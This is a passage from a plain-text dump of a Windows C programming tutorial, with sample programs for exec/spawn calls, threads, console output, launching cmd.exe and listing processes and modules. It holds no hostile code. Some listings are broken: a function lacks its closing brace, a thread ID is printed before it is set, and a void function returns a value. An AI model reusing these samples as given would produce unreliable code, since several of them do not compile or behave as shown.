file:///C|/Tutorial.txt

/* Environment for exec?e */


char *my_env[] =
{
// NAME=value
"THIS=environment will be",
"PASSED=to new process by",
"the EXEC=functions",
NULL
};

int main(int ac, char* av[])


{
// An array pointers to strings...
char *args[4];
// If command line arguments not properly supplied...
if (ac != 3)
{
fprintf(stderr, "Usage: %s <program_name> <number (1-8)>\n", av[0]);
return 0;
}
// otherwise...
/* Arguments for _execv? */
args[0] = av[1];
args[1] = "exec??";
args[2] = "two";
args[3] = NULL;

switch(atoi(av[2]))
{
case 1:
_execl(av[1], av[1], "_execl", "two", NULL);
break;
case 2:
_execle(av[1], av[1], "_execle", "two", NULL, my_env);
break;
case 3:
_execlp(av[1], av[1], "_execlp", "two", NULL);
break;
case 4:
_execlpe(av[1], av[1], "_execlpe", "two", NULL, my_env);
break;
// ==========================================================
case 5:
_execv(av[1], args);
break;
case 6:
_execve(av[1], args, my_env);
break;
case 7:
_execvp(av[1], args);
break;
case 8:
_execvpe(av[1], args, my_env);
break;
default:

file:///C|/Tutorial.txt (786 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

break;
}

/* This point is reached only if exec fails. */


printf("\nProcess was not execed, error if any: %d.", GetLastError());
// exit peacefully...
exit(0);
}

---------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#include <process.h>

/* Environment for exec?e */


char *my_env[] =
{
// Just as an example here: NAME=value
"ComSpec=C:\\WINDOWS\\system32\\cmd.exe",
"Path=C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS",
NULL
};

int main(int ac, char* av[])


{
int ret;

// If command line arguments not properly supplied...


if (ac != 2)
{
fprintf(stderr, "Usage: %s <program_name>.\n", av[0]);
return 0;
}

// We are going to run "ping 127.0.0.1 -t" command....


if ((ret = _execl(av[1], av[1], "127.0.0.1", "-t", NULL, my_env)) == -1)
perror("perror says _execl() failed");
}

---------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#include <process.h>

/* Environment for exec?e */


char *my_env[] =
{
// Just as an example here: NAME=value
"ComSpec=C:\\WINDOWS\\system32\\cmd.exe",
"Path=C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS",
NULL
};

int main(int ac, char* av[])

file:///C|/Tutorial.txt (787 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
int ret;
// An array pointers...
char *args[3];

/* Arguments for _execv? */


args[0] = av[1];
args[1] = "/D";
args[2] = NULL;

// If command line arguments not properly supplied...


if (ac != 2)
{
fprintf(stderr, "Usage: %s <program_name>.\n", av[0]);
return 0;
}

// We are going to run "mem /D" command....


if ((ret = _execve(av[1], args, my_env)) == -1)
perror("perror says _execve() failed");
return 0;
}

-----------------------------------------------------------------------------------------

// Project name: myspawnpro, File name: myspawnsrc.cpp


/* This program accepts a number in the range
* 1-8 from the command line. Based on the number it receives,
* it executes one of the eight different procedures that
* spawn the process named child. For some of these procedures,
* the child.exe file must be in the same directory; for
* others, it only has to be in the same path. */

#include <stdio.h>
#include <process.h>

char *my_env[] =
{
"This=environment will be",
"passed=to child.exe by the",
"_spawnle()=and",
"_spawnlpe()=and",
"_spawnve()=and",
"_spawnvpe()=functions",
NULL
};

int main(int argc, char *argv[])


{
/* Array storage for argument strings... */
char *args[4];

/* Set up parameters to be sent: */


args[0] = "child";
args[1] = "spawn??";
args[2] = "two";

file:///C|/Tutorial.txt (788 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

args[3] = NULL;

if (argc <= 2)
{
/* argv[0] argv[1] argv[2] */
printf("Usage: %s <child_program_name> <1-8>.\n", argv[0]);
exit(1);
}
/* Based on first letter of argument */
switch (argv[2][0])
{
case '1':
_spawnl(_P_WAIT, argv[1], argv[1], "_spawnl", "two", NULL);
break;
case '2':
_spawnle(_P_WAIT, argv[1], argv[1], "_spawnle", "two", NULL, my_env);
break;
case '3':
_spawnlp(_P_NOWAIT, argv[1], argv[1], "_spawnlp", "two", NULL);
break;
case '4':
_spawnlpe(_P_NOWAIT, argv[1], argv[1], "_spawnlpe", "two", NULL, my_env);
break;
case '5':
_spawnv(_P_OVERLAY, argv[1], args);
break;
case '6':
_spawnve(_P_OVERLAY, argv[1], args, my_env);
break;
case '7':
_spawnvp(_P_OVERLAY, argv[1], args);
break;
case '8':
_spawnvpe(_P_OVERLAY, argv[1], args, my_env);
break;
default:
printf("");
printf("Usage: %s <child_program_name> <number [1-8]>.\n", argv[0]);
exit (1);
}
return 0;
}

============================MODULES========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |

file:///C|/Tutorial.txt (789 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

// mythread.cpp
// compile with: /MT /D "_X86_" /c for Visual C++/.Net
#include <windows.h>
/* _beginthread, _endthread */
#include <process.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>

/* Function prototypes... */
void Bounce(void *ch);
void CheckKey(void *dummy);

/* GetRandom() returns a random integer between min and max. */


#define GetRandom(min, max) ((rand() % (int)(((max) + 1) - (min))) + (min))

file:///C|/Tutorial.txt (790 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* Global repeat flag and video variable */


BOOL repeat = TRUE;
/* Handle for console window */
HANDLE hStdOut;
/* Console information structure */
CONSOLE_SCREEN_BUFFER_INFO csbi;

int main(int argc, char *argv[])


{
CHAR ch = 'A';
hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

if (hStdOut == INVALID_HANDLE_VALUE)
printf("GetStdHandle() failed, error: %d.\n", GetLastError());
else
printf("GetStdHandle() is OK.\n");

/* Get display screen's text row and column information. */


if (GetConsoleScreenBufferInfo(hStdOut, &csbi) == 0)
printf("GetConsoleScreenBufferInfo() failed, error: %d.\n", GetLastError());
else
printf("GetConsoleScreenBufferInfo() is OK.\n");

printf("--------ENJOY THE SHOW-------\n");


/* Launch CheckKey() thread to check for terminating keystroke. */
_beginthread(CheckKey, 0, NULL);

/* Loop until CheckKey() terminates program. */


while(repeat)
{
/* On first loops, launch character threads. */
_beginthread(Bounce, 0, (void *) (ch++));

/* Wait one second between loops. */


Sleep(1000L);
}
return 0;
}

/* CheckKey() - Thread to wait for a keystroke, and then clear repeat flag. */
void CheckKey(void *dummy)
{
printf("Press any key to stop.\n");
_getch();
/* _endthread implied */
repeat = 0;

/* Bounce - Thread to create and control a colored letter that moves


* around on the screen.
* Params: ch - the letter to be moved */

void Bounce(void *ch)


{
/* Generate letter and color attribute from thread argument. */

file:///C|/Tutorial.txt (791 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

char blankcell = 0x20;


char blockcell = (char) ch;
BOOL first = TRUE;
COORD oldcoord, newcoord;
DWORD result;

/* Seed random number generator and get initial location. */


srand(_threadid);
printf("Thread ID: %d.\n", _threadid);
newcoord.X = GetRandom(0, csbi.dwSize.X + 2);
newcoord.Y = GetRandom(0, csbi.dwSize.Y - 4);

while(repeat)
{
/* Pause between loops. */
Sleep(100L);

/* Blank out our old position on the screen, and draw new letter. */
if(first)
first = FALSE;
else
WriteConsoleOutputCharacter(hStdOut, &blankcell, 1, oldcoord, &result);

WriteConsoleOutputCharacter(hStdOut, &blockcell, 1, newcoord, &result);

/* Increment the coordinate for next placement of the block. */


oldcoord.X = newcoord.X;
oldcoord.Y = newcoord.Y;
newcoord.X += GetRandom(-2, 2);
newcoord.Y += GetRandom(-2, 2);

/* Correct placement (and beep) if about to go off the screen. */


if (newcoord.X < 0)
newcoord.X = 1;
else if (newcoord.X == csbi.dwSize.X)
newcoord.X = csbi.dwSize.X - 4;
else if (newcoord.Y < 0)
newcoord.Y = 1;
else if (newcoord.Y == csbi.dwSize.Y)
newcoord.Y = csbi.dwSize.Y - 4;

/* If not at a screen border, continue, otherwise beep. */


else
continue;
Beep(((char) ch - 'A') * 100, 175);
}
/* _endthread given to terminate */
_endthread();
}

----------------------------------------------------------------------------------------------

// mythread.cpp
// compile with: /MT – Multithreaded, Visual C++/.Net
#include <windows.h>
#include <stdio.h>

file:///C|/Tutorial.txt (792 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <conio.h>
#include <process.h>

unsigned Counter;

unsigned __stdcall SecondThreadFunc(void* pArguments)


{
printf("In second thread...\n");

while (Counter < 1000000)


Counter++;

_endthreadex(0);
return 0;
}

int main(int argc, char *argv[])


{
HANDLE hThread;
unsigned threadID;

printf("Creating second thread...\n");


printf("Thread ID: %d.\n", threadID);

// Create the second thread.


hThread = (HANDLE)_beginthreadex(NULL, 0, &SecondThreadFunc, NULL, 0, &threadID);

// Wait until second thread terminates. If you comment out the line
// below, Counter will not be correct because the thread has not
// terminated, and Counter most likely has not been incremented to
// 1000000 yet.
WaitForSingleObject(hThread, INFINITE);
printf("Counter should be 1000000; it is-> %d\n", Counter);
// Destroy the thread object.
CloseHandle(hThread);
return 0;
}
----------------------------------------------------------------------------------------------

// mythread.cpp
// compile with: /MT – Multithreaded, Visual C++/.Net
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <process.h>

unsigned Counter;

unsigned __stdcall SecondThreadFunc(void* pArguments)


{
printf("In second thread...\n");

while (Counter < 1000000)


Counter++;

_endthreadex(0);

file:///C|/Tutorial.txt (793 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return 0;
}

int main(int argc, char *argv[])


{
HANDLE hThread;
unsigned threadID;

printf("Creating second thread...\n");


printf("Thread ID: %d.\n", threadID);

// Create the second thread.


hThread = (HANDLE)_beginthreadex(NULL, 0, &SecondThreadFunc, NULL, 0, &threadID);

// Wait until second thread terminates. If you comment out the line
// below, Counter will not be correct because the thread has not
// terminated, and Counter most likely has not been incremented to
// 1000000 yet.
WaitForSingleObject(hThread, INFINITE);
printf("Counter should be 1000000; it is-> %d\n", Counter);
// Destroy the thread object.
CloseHandle(hThread);
return 0;
}

----------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

CONSOLE_SCREEN_BUFFER_INFO csbi;

int main()
{
HANDLE hStdOut;
LPTSTR lpszString = "Testing a character StRiNg";
DWORD cWritten;
BOOL fSuccess;
COORD coord;
WORD wColors[3];

hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

if (hStdOut == INVALID_HANDLE_VALUE)
printf("GetStdHandle() failed, error: %d.\n", GetLastError());
else
printf("GetStdHandle() is OK.\n");

/* Get display screen's text row and column information. */


if (GetConsoleScreenBufferInfo(hStdOut, &csbi) == 0)
printf("GetConsoleScreenBufferInfo() failed, error: %d.\n", GetLastError());
else
printf("GetConsoleScreenBufferInfo() is OK.\n");

/* Write a string of characters to a screen buffer. */


coord.X = 10; // start at tenth cell

file:///C|/Tutorial.txt (794 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

coord.Y = 10; // of tenth row


fSuccess = WriteConsoleOutputCharacter(
hStdOut, // screen buffer handle
lpszString, // pointer to source string
lstrlen(lpszString), // length of string
coord, // first cell to write to
&cWritten); // actual number written
if (! fSuccess)
printf("WriteConsoleOutputCharacter() failed.\n");
else
printf("WriteConsoleOutputCharacter() is OK.\n");

/* Write a string of colors to a screen buffer. */


wColors[0] = BACKGROUND_RED;
wColors[1] = BACKGROUND_GREEN;
/* for white - BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE; */
wColors[2] = BACKGROUND_BLUE;

for (;fSuccess && coord.X < 50; coord.X += 3)


{
fSuccess = WriteConsoleOutputAttribute(
hStdOut, // screen buffer handle
wColors, // pointer to source string
3, // length of string
coord, // first cell to write to
&cWritten); // actual number written
}
if (! fSuccess)
printf("WriteConsoleOutputAttribute() failed.\n");
else
printf("WriteConsoleOutputAttribute() is OK.\n");

return 0;
}

----------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

CONSOLE_SCREEN_BUFFER_INFO csbi;

int main()
{
HANDLE hStdOut;
DWORD cWritten;
BOOL fSuccess;
COORD coord;
WORD wColor;
CHAR chFillChar;

hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

if (hStdOut == INVALID_HANDLE_VALUE)
printf("GetStdHandle() failed, error: %d.\n", GetLastError());
else

file:///C|/Tutorial.txt (795 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("GetStdHandle() is OK.\n");

/* Get display screen's text row and column information. */


if (GetConsoleScreenBufferInfo(hStdOut, &csbi) == 0)
printf("GetConsoleScreenBufferInfo() failed, error: %d.\n", GetLastError());
else
printf("GetConsoleScreenBufferInfo() is OK.\n");

// Fill a 30-by-20-character screen buffer with the space character.


coord.X = 0; // start at 0th cell
coord.Y = 6; // of sixth row
chFillChar = ' ';

fSuccess = FillConsoleOutputCharacter(
hStdOut, // screen buffer handle
chFillChar, // fill with spaces
30*20, // number of cells to fill
coord, // first cell to write to
&cWritten); // actual number written

if (! fSuccess)
printf("WriteConsoleOutputCharacter() failed.\n");
else
printf("WriteConsoleOutputCharacter() is OK.\n");

// Set 30-by-20-character screen buffer colors to white text on red.


wColor = BACKGROUND_RED | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE;

fSuccess = FillConsoleOutputAttribute(
hStdOut, // screen buffer handle
wColor, // color to fill with
30*20, // number of cells to fill
coord, // first cell to write to
&cWritten); // actual number written

if (!fSuccess)
printf("WriteConsoleOutputAttribute() failed.\n");
else
printf("WriteConsoleOutputAttribute() is OK.\n");
return 0;
}

============================MODULET========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |

file:///C|/Tutorial.txt (796 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <conio.h>

DWORD WINAPI MyThreadFunction(LPVOID lpParam)


{
printf("The parameter: %d.\n", *(DWORD*)lpParam);
return 0;
}

int main(void)
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;

hThread = CreateThread(

file:///C|/Tutorial.txt (797 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

NULL, // default security attributes


0, // use default stack size
MyThreadFunction, // thread function
&dwThrdParam, // argument to thread function
0, // use default creation flags
&dwThreadId); // returns the thread identifier

printf("The thread ID: %d.\n", dwThreadId);


// Check the return value for success. If something wrong...
if (hThread == NULL)
printf("CreateThread() failed, error: %d.\n", GetLastError());
//else, gives some prompt...
else
printf("It seems the CreateThread() is OK lol!\n");

if (CloseHandle(hThread) != 0)
printf("Handle to thread closed successfully.\n");
return 0;
}

------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

void main(void)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// Start the child process.


if (!CreateProcess("C:\\WINDOWS\\system32\\cmd.exe", // module name.
NULL, // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent’s environment block.
NULL, // Use parent’s starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi) // Pointer to PROCESS_INFORMATION structure.
)

printf("\nSorry! CreateProcess() failed.\n\n");


else
printf("\nWell, CreateProcess() looks OK.\n\n");

// Wait until child process exits (in milliseconds). If INFINITE,


// the function’s time-out interval never elapses except with
// user or other intervention.

file:///C|/Tutorial.txt (798 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

WaitForSingleObject(pi.hProcess, INFINITE);
printf("\n");

// Close process and thread handles.


CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

============================MODULEU========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler

file:///C|/Tutorial.txt (799 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// Start the child process. If not OK...


if(!CreateProcess("C:\\WINDOWS\\system32\\cmd.exe", // module name.
NULL, // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent's environment block.
NULL, // Use parent's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi) // Pointer to PROCESS_INFORMATION structure.
)
// Then, give some prompt...
printf("\nSorry! CreateProcess() failed.\n\n");

//else, give some prompt...


else
{
printf("\nWell, CreateProcess() looks OK.\n");
printf("exit after 5000 ms...\n\n");
}

// Wait until child process exits after 5000 ms.


WaitForSingleObject(pi.hProcess, 5000);
printf("\n");

// Close process and thread handles.


CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return 0;
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>

file:///C|/Tutorial.txt (800 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <stdio.h>
#include <conio.h>

DWORD WINAPI MyThreadFunction(LPVOID lpParam)


{
printf("The parameter: %d.\n", *(DWORD*)lpParam);
return 0;
}

int main(void)
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;

// Let try a loop...


for(int x = 1; x <= 5; x++)
{
hThread = CreateThread(
NULL, // default security attributes
0, // use default stack size
MyThreadFunction, // thread function
&dwThrdParam, // argument to thread function
0, // use default creation flags
&dwThreadId); // returns the thread identifier

// Check the return value for success. If something wrong...


if (hThread == NULL)
printf("CreateThread() failed, error: %d.\n", GetLastError());
//else, gives some prompt...
else
{
printf("It seems the CreateThread() is OK lol!\n");
printf("The thread ID: %d.\n", dwThreadId);
}

if (CloseHandle(hThread) != 0)
printf("Handle to thread closed successfully.\n");
} // end for loop...
return 0;
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <psapi.h>

void PrintProcessNameAndID(DWORD processID)


{
// Initialize or default to "unknown"
char szProcessName[MAX_PATH] = "<unknown>";

// Get a handle to the process.


HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);

file:///C|/Tutorial.txt (801 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Get the process name.


if (hProcess != NULL)
{
HMODULE hMod;
DWORD cbNeeded;

if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded))


{
GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName));
}
}

// Print the process name and identifier.


printf("%-30s %5u\n", szProcessName, processID);

CloseHandle(hProcess);
}

int main()
{
// Get the list of process identifiers.
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;

// If fail...
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
return 1; // or print some meaningful message...
else
printf("Enumprocesses() is OK.\n");

// Calculate how many process identifiers were returned.


cProcesses = cbNeeded / sizeof(DWORD);

// Print the name and process identifier for each process.


printf("Process Name Process ID\n");
printf("============ ==========\n");
for (i = 0; i < cProcesses; i++)
PrintProcessNameAndID(aProcesses[i]);

return 0;
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <psapi.h>

void PrintModules(DWORD processID)


{
HMODULE hMods[1024];
HANDLE hProcess;
DWORD cbNeeded;

file:///C|/Tutorial.txt (802 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

unsigned int i;

// Print the process identifier.


printf("\nProcess ID: %u\n", processID);

// Get a list of all the modules in this process.


hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID);
if (hProcess == NULL)
return;

if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded))


{
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++)
{
char szModPathName[MAX_PATH];

// Get the full path to the module's file.


if (GetModuleFileNameEx(hProcess, hMods[i], szModPathName, sizeof(szModPathName)))
{
// Print the module name and handle value.
printf("\t%s (0x%08X)\n", szModPathName, hMods[i]);
}
else
printf("GetModuleFileNameEx() failed!.\n");
}
}

CloseHandle(hProcess);
}

int main()
{
// Get the list of process identifiers.
DWORD aProcesses[2048], cbNeeded, cProcesses;
unsigned int i;

printf("Listing all the process's module...\n");


// If fail...
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
printf("EnumProcesses() failed!.\n");
else
printf("EnumProcesses() is OK!.\n");

// Calculate how many process identifiers were returned.


cProcesses = cbNeeded / sizeof(DWORD);

// Print the name of the modules for each process.


for (i = 0; i < cProcesses; i++)
PrintModules(aProcesses[i]);

return 0;
}

-----------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (803 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Function prototypes...
BOOL ListProcessModules(DWORD dwPID);
void printError(TCHAR* msg);

int main(int argc, char argv[])


{
// 0 means current process, this program...
ListProcessModules(0);

return 0;
}

BOOL ListProcessModules(DWORD dwPID)


{
HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
MODULEENTRY32 me32;

// Take a snapshot of all modules in the specified process.


hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
if(hModuleSnap == INVALID_HANDLE_VALUE)
{
printError("CreateToolhelp32Snapshot()");
return (FALSE);
}

// Set the size of the structure before using it.


me32.dwSize = sizeof(MODULEENTRY32);

// Retrieve information about the first module,


// and exit if unsuccessful
printf("\n******************************************\n");
printf("* List of module for current process *\n");
printf("******************************************");
if(!Module32First(hModuleSnap, &me32))
{
printError("Module32First()"); // Show cause of failure
CloseHandle(hModuleSnap); // Must clean up the snapshot object
return (FALSE);
}

// Now walk the module list of the process,


// and display information about each module
do
{
printf("\n\n MODULE NAME: %s", me32.szModule);
printf("\n executable = %s", me32.szExePath);
printf("\n process ID = 0x%08X", me32.th32ProcessID);
printf("\n ref count (g) = 0x%04X", me32.GlblcntUsage);
printf("\n ref count (p) = 0x%04X", me32.ProccntUsage);

file:///C|/Tutorial.txt (804 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("\n base address = 0x%08X", (DWORD) me32.modBaseAddr);


printf("\n base size = %d\n", me32.modBaseSize);

} while (Module32Next(hModuleSnap, &me32));

// Do not forget to clean up the snapshot object.


CloseHandle(hModuleSnap);
return (TRUE);
}

void printError(TCHAR* msg)


{
DWORD eNum;
TCHAR sysMsg[256];
TCHAR* p;

eNum = GetLastError();
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, eNum, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
sysMsg, 256, NULL);

// Trim the end of the line and terminate it with a null


p = sysMsg;
while ((*p > 31) || (*p == 9))
++p;
do { *p-- = 0; }
while ((p >= sysMsg) && ((*p == '.') || (*p < 33)));

// Display the message...


printf("\n WARNING: %s failed with error %d (%s)\n", msg, eNum, sysMsg);
return 0;
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Function prototypes...
BOOL GetProcessList();
BOOL ListProcessModules(DWORD dwPID);
BOOL ListProcessThreads(DWORD dwOwnerPID);
void printError(TCHAR* msg);

int main(int argc, char argv[])


{
GetProcessList();
return 0;
}

// =================Get the processes=====================


BOOL GetProcessList()
{

file:///C|/Tutorial.txt (805 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;

// Take a snapshot of all processes in the system.


hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printError("CreateToolhelp32Snapshot (of processes)");
return(FALSE);
}

// Set the size of the structure before using it.


pe32.dwSize = sizeof(PROCESSENTRY32);

// Retrieve information about the first process,


// and exit if unsuccessful
printf("\n\n*********************************");
printf("\nList of process & their info...\n");
printf("*********************************");

if (!Process32First(hProcessSnap, &pe32))
{
printError("Process32First()"); // Show cause of failure
CloseHandle(hProcessSnap); // Must clean up the snapshot object
return (FALSE);
}

// Now walk the snapshot of processes, and


// display information about each process in turn
do
{
printf("\n\n===========================================================");
printf("\nPROCESS NAME: %s", pe32.szExeFile);
printf("\n-----------------------------------------------------------");

// Retrieve the priority class.


dwPriorityClass = 0;
// OpenProcess() with all possible access rights for a process object,
// handle cannot be inherited and Identifier of the process to open...
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
if (hProcess == NULL)
printError("OpenProcess()");
else
{
dwPriorityClass = GetPriorityClass(hProcess);
if (!dwPriorityClass)
printError("GetPriorityClass()");
CloseHandle(hProcess);
}

printf("\n Name of the exe = %s", pe32.szExeFile);


printf("\n Parent process ID = 0x%08X", pe32.th32ParentProcessID);
printf("\n Process ID = 0x%08X", pe32.th32ProcessID);
printf("\n Thread count = %d", pe32.cntThreads);

file:///C|/Tutorial.txt (806 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("\n Priority Base = %d", pe32.pcPriClassBase);

if(dwPriorityClass)
printf("\n Priority Class = %d", dwPriorityClass);

// List the modules and threads associated with this process


ListProcessModules(pe32.th32ProcessID);
ListProcessThreads(pe32.th32ProcessID);

} while (Process32Next(hProcessSnap, &pe32));

// Don't forget to clean up the snapshot object!


CloseHandle(hProcessSnap);
return (TRUE);
}

// =================List the process modules=====================


BOOL ListProcessModules(DWORD dwPID)
{
HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
MODULEENTRY32 me32;

// Take a snapshot of all modules in the specified process.


hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
